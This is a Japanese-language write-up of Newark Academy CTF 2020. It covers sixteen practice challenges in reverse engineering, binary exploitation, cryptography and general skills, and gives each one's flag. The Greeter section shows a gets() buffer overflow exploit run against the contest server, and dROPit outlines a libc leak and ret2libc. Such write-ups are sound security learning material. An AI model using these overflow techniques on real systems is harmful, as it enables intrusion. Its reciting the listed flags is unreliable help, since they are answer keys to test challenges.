Newark Academy CTF 2020 writeup
昔の仲間と参加しました。
チームで58位4700点、私はそのうち2755点を取りました。
開催時間が長かったので、途中体調崩したりしてたんですが、やりたいだけやれて良かったです。
- Generic Flag Checker® 1 (Reverse Engineering)
- Generic Flag Checker® 2 (Reverse Engineering)
- Patches (Reverse Engineering)
- Basics (General Skills)
- Grep 0 (General Skills)
- Greeter (Binary Exploitation)
- dROPit (Binary Exploitation)
- Numbers (General Skills)
- Dr. J's Vegetable Factory #1 🥕 (General Skills)
- YAMS (Cryptography)
- Oligar's Tricky RSA (Cryptography)
- Error 0 (Cryptography)
- Dr. J's Vegetable Factory #2 🥕 (General Skills)
- Glee (Reverse Engineering)
- Zip Madness (General Skills)
- Packed (Reverse Engineering)
Generic Flag Checker® 1 (Reverse Engineering)
stringsで見られる。
flag: nactf{un10ck_th3_s3cr3t5_w1th1n_cJfnX3Ly4DxoWd5g}
Generic Flag Checker® 2 (Reverse Engineering)
入力した文字列をstrncmpで比較している。
ltraceで比較先の文字列を出力した。
$ ltrace -s 100 ./gfc2 puts("what's the flag?"what's the flag? ) = 17 fgets(a "a\n", 64, 0x7f96d9d7b980) = 0x7ffc80ef01b0 fmemopen(0, 256, 0x55f3e722a015, 62) = 0x55f3e8f0ec00 fprintf(0x55f3e8f0ec00, "%0*o24\n%n", 28, 026602427217, 0x7ffc80ef0098) = 31 fseek(0x55f3e8f0ec00, 0, 0, 0) = 0 __isoc99_fscanf(0x55f3e8f0ec00, 0x55f3e722a022, 0x7ffc80ef009c, 0) = 1 fclose(0x55f3e8f0ec00) = 0 strncmp("a", "nactf{s0m3t1m3s_dyn4m1c_4n4lys1s_w1n5_gKSz3g6RiFGkskXx}", 56) = -13 puts("nope, not this time!"nope, not this time! ) = 21 +++ exited (status 1) +++
flag: nactf{s0m3t1m3s_dyn4m1c_4n4lys1s_w1n5_gKSz3g6RiFGkskXx}
Patches (Reverse Engineering)
flag出力関数はあるがどこからも呼ばれないという問題。
パッチしてほしそうなタイトルだがやり方が分からなかったので、RIPを書き換えた。
gdb-peda$ jump *print_flag Continuing at 0x555555555261. nactf{unl0ck_s3cr3t_funct10n4l1ty_w1th_b1n4ry_p4tch1ng_L9fcKhyPupGVfCMZ}
flag: nactf{unl0ck_s3cr3t_funct10n4l1ty_w1th_b1n4ry_p4tch1ng_L9fcKhyPupGVfCMZ}
Basics (General Skills)
Base64デコード
flag: nactf{ba535_ar3_sw33t}
Grep 0 (General Skills)
% grep "nactf{" flag.txt
nactf{gr3p_1s_r3ally_c00l_54a65e7}
flag: nactf{gr3p_1s_r3ally_c00l_54a65e7}
Greeter (Binary Exploitation)
#include <stdio.h> #include <stdlib.h> void win() { puts("congrats! here's your flag:"); char flagbuf[64]; FILE* f = fopen("./flag.txt", "r"); if (f == NULL) { puts("flag file not found!"); exit(1); } fgets(flagbuf, 64, f); fputs(flagbuf, stdout); fclose(f); } int main() { /* disable stream buffering */ setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); char name[64]; puts("What's your name?"); gets(name); printf("Why hello there %s!\n", name); return 0; }
$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : FULL
getsのバッファオーバーフローを使って、どこからも呼ばれないwin関数を呼び出す系。
まずgdb-pedaでオーバーフロー位置を確認。72文字目以降。
あとは過去問と同じ。
$ python greeter.py [*] '/home/user/pwn/greeter' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to challenges.ctfd.io on port 30249: Done b'payload: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \x12@\x00\x00\x00\x00\x00' [*] Switching to interactive mode Why hello there AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \x12! congrats! here's your flag: nactf{n4v4r_us3_g3ts_5vlrDKJufaUOd8Ur} [*] Got EOF while reading in interactive
flag: nactf{n4v4r_us3_g3ts_5vlrDKJufaUOd8Ur}
dROPit (Binary Exploitation)
$ checksec dropit [*] '/home/user/pwn/dropit' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
オーバーフロー位置は56文字目以降。
libcが提供されていないので、まずputs, fgets辺りのgotをリークさせ、
ヒントにあったhttps://libc.rip/にかけてみると、libc6_2.32-0ubuntu2_amd64.so
が引っかかってきたのでダウンロードして使う。
あとはret2libcするだけ。
flag: nactf{r0p_y0ur_w4y_t0_v1ct0ry_698jB84iO4OH1cUe}
Numbers (General Skills)
フラグ文字列のasciiコードが+1された値が並んでいた。
with open('flag.txt') as f: numbers = map(int, f.read().split()) ans = '' for n in numbers: ans += chr(n-1) print(ans)
flag: nactf{asc11_XB4RCR5}
Dr. J's Vegetable Factory #1 🥕 (General Skills)
プログラム書くだけ。3問だったので手でも良いかも。
コード内に絵文字使えることを初めて知った。
flag: nactf{1f_th3r3s_4_pr0b13m_13ttuce_kn0w_db4d736fd28f0ea39ec}
YAMS (Cryptography)
vigenere暗号。キーは"YAMS"
Welcome to Vigenere. Here is your flag: nactf{yaM5_ar3_Y0mMy_w9jC91}
flag: nactf{yaM5_ar3_Y0mMy_w9jC91}
Oligar's Tricky RSA (Cryptography)
nが素因数分解可能。
flag: nactf{sn3aky_c1ph3r}
Error 0 (Cryptography)
2進数として文字列に変換してみると、náctf2g0uWXvn 23{C}\k¨\&/ÿB...
みたいな惜しいような惜しくないような文字列が出てきた。
問題文に"repeat 101"云々とあり、変換した文字列は29*101文字になっていることがわかった。
おそらくフラグは29文字で、noisyとあるので不要な文字が入っているんだろう、と29文字ずつの列に区切って色々悩んだ結果、
各列のn番目の文字で、最も多く出現した文字をピックアップするとフラグになることにたどり着いた。
flag: nactf{n01sy_n013j_|\|()|$'/}
Dr. J's Vegetable Factory #2 🥕 (General Skills)
野菜が多いが問題は1問。
flag: nactf{d0n7_w0rry_p34_h4ppy_f27ae283dd72cb62f685}
Glee (Reverse Engineering)
こちらのコードをお借りしました(自分で書いたangrは動かない…)
flag: nactf{1_r34lly_h0p3_y0u_d1dnt_d0_th1s_0ne_by_h4nd_fe0RqSD87j7Vh}
Zip Madness (General Skills)
1000回zipされていて、leftとrightのうちdirection.txtに書かれた正しい方を開ける。
flag: nactf{1_h0pe_y0u_d1dnt_d0_th4t_by_h4nd_87ce45b0}
Packed (Reverse Engineering)
メモリ上に展開された本丸コード上で文字の比較がされる。
メモリダンプとか取ったがバイナリを読むのが面倒になってしまったので、メモリ上に展開された文字比較部分から1文字ずつ拾っていった(どっちが面倒なのか…)
フラグの長さも、ランダムな文字列の長さ/5になっておりパッと見はわからないようにしてある。
正しい文字に書き換え続けた時の、メモリ上に展開されたコードを実行中の様子(なお文字が誤っていても最後まで比較はされるので書き換える必要は特にない)。
r8が正誤フラグとなっており、全て比較し終わった時に0の場合に"Good job!"となる。
flag: nactf{s3lf_unp4ck1ng_b1n_d1dnt_3v3n_s4v3_4ny_sp4c3_smh_mV4EUYae}